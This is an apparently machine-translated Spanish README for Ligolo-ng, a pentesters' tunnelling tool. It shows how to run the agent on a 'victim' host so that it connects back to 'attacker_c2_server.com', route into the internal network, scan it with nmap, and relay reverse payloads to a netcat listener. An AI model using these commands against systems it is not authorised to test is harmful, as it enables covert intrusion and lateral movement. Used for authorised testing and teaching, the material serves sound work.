Ligolo-ng
es una herramienta sencilla , ligera y rápida que permite a los pentesters establecer túneles desde una conexión TCP/TLS inversa utilizando una interfaz tun (sin necesidad de SOCKS).
Características
- Interfaz Tun (¡No más CALCETINES!)
- UI simple con selección de agentes e información de red.
- Fácil de usar y configurar
- Configuración automática de certificados con Let’s Encrypt
- Performante (multiplexación)
- No requiere altos privilegios
- Escucha/vinculación de socket en el agente
- Múltiples plataformas soportadas para el agente.
¿En qué se diferencia esto de Ligolo/Chisel/Meterpreter…?
En lugar de utilizar un proxy SOCKS o reenviadores TCP/UDP, Ligolo-ng crea una pila de red de usuario utilizando Gvisor.
Cuando se ejecuta el servidor de retransmisión/proxy , se utiliza una interfaz tun , los paquetes enviados a esta interfaz se traducen y luego se transmiten a la red remota del agente .
Como ejemplo, para una conexión TCP:
- SYN se traducen a connect() en el control remoto
- SYN-ACK se devuelve si connect() tiene éxito
- Se envía RST si se devuelve la llamada al sistema ECONNRESET, ECONNABORTED o ECONNREFUSED después de la conexión
- No se envía nada si se agota el tiempo
Esto permite ejecutar herramientas como nmap sin el uso de proxychains (más simple y rápido).
Construcción y uso
Binarios precompilados
Los archivos binarios precompilados (Windows/Linux/macOS) están disponibles en la página de lanzamiento.
Edificio Ligolo-ng
Construyendo ligalo-ng (se requiere Go >= 1.20):
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
Configurar Ligolo-ng
linux
Cuando usa Linux, necesita crear una interfaz tun en el servidor proxy (C2):
$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
ventanas
Debe descargar el controlador Wintun (utilizado por WireGuard) y colocarlo
wintun.dll
en la misma carpeta que Ligolo (asegúrese de utilizar la arquitectura correcta).
Ejecutando el servidor proxy Ligolo-ng
Inicie el servidor proxy en su servidor de Comando y Control (C2) (puerto predeterminado 11601):
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
Opciones TLS
Usando Let’s Encrypt Autocert
Al usar la
-autocert
opción, el proxy solicitará automáticamente un certificado (usando Let’s Encrypt) para attacker_c2_server.com cuando un agente se conecte.
El puerto 80 debe ser accesible para la validación/recuperación del certificado Let’s Encrypt
Usando sus propios certificados TLS
Si desea utilizar sus propios certificados para el servidor proxy, puede utilizar los parámetros
-certfile
y
-keyfile
.
Certificados autofirmados automáticos (NO RECOMENDADO)
El proxy/retransmisión puede generar automáticamente certificados TLS autofirmados usando la
-selfcert
opción.
La
-ignore-cert
opción debe usarse con el agente .
¡Cuidado con los ataques de intermediarios! Esta opción sólo debe usarse en un entorno de prueba o con fines de depuración.
Usando Ligolo-ng
Inicie el agente en la computadora de destino (víctima) (¡no se requieren privilegios!):
$ ./agent -connect attacker_c2_server.com:11601
Si desea hacer un túnel para la conexión a través de un proxy SOCKS5, puede usar la
--socks ip:port
opción. Puede especificar las credenciales SOCKS utilizando los argumentos--socks-user
y--socks-pass
.
Debería aparecer una sesión en el servidor proxy .
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Utilice el
session
comando para seleccionar el agente .
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Muestre la configuración de red del agente usando el
ifconfig
comando:
[Agent : nchatelain@nworkstation] » ifconfig
[...]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘
Agregue una ruta en el servidor proxy/retransmisión a la red del agente 192.168.0.0/24 .
Linux :
$ sudo ip route add 192.168.0.0/24 dev ligolo
Ventanas
:
> netsh int ipv4 show interfaces
Idx Mét MTU État Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]
Inicie el túnel en el proxy:
[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation
Ahora puede acceder a la red del agente 192.168.0.0/24 desde el servidor proxy .
$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]
Enlace/escucha del agente
Puede escuchar los puertos del agente y redirigir las conexiones a su servidor de control/proxy.
En una sesión de ligolo, use el
listener_add
comando.
El siguiente ejemplo creará un socket de escucha TCP en el agente (0.0.0.0:1234) y redirigirá las conexiones al puerto 4321 del servidor proxy.
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
Sobre el
proxy
:
$ nc -lvp 4321
Cuando se realiza una conexión en el puerto TCP
1234
del agente,
nc
recibirá la conexión.
Esto es muy útil cuando se utilizan cargas útiles tcp/udp inversas.
Puede ver los oyentes que se están ejecutando actualmente usando el
listener_list
comando y detenerlos usando el
listener_stop [ID]
comando:
[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬───── ───────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────& #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.
¿Requiere acceso de administrador/root?
Del lado del agente , ¡no! Todo se puede realizar sin acceso administrativo.
Sin embargo, en su servidor de retransmisión/proxy , debe poder crear una interfaz tun .
Protocolos/paquetes admitidos
- tcp
- UDP
- ICMP (solicitudes de eco)
Actuación
Puede alcanzar fácilmente más de 100 Mbits/seg. Aquí hay una prueba usando
iperf
desde un servidor de 200 Mbits/s a una conexión de 200 Mbits/s.
Advertencias
Debido a que el agente se ejecuta sin privilegios, no es posible reenviar paquetes sin formato. Cuando realiza un NMAP SYN-SCAN, se realiza una conexión TCP() en el agente.
Cuando utilice nmap , debe utilizar
--unprivileged
o
-PE
para evitar falsos positivos.
Hacer
- Implementar otros mensajes de error ICMP (esto acelerará los análisis UDP);
- No haga RST cuando reciba un ACK de una conexión TCP no válida (nmap informará que el host está activo);
- Agregue soporte mTLS.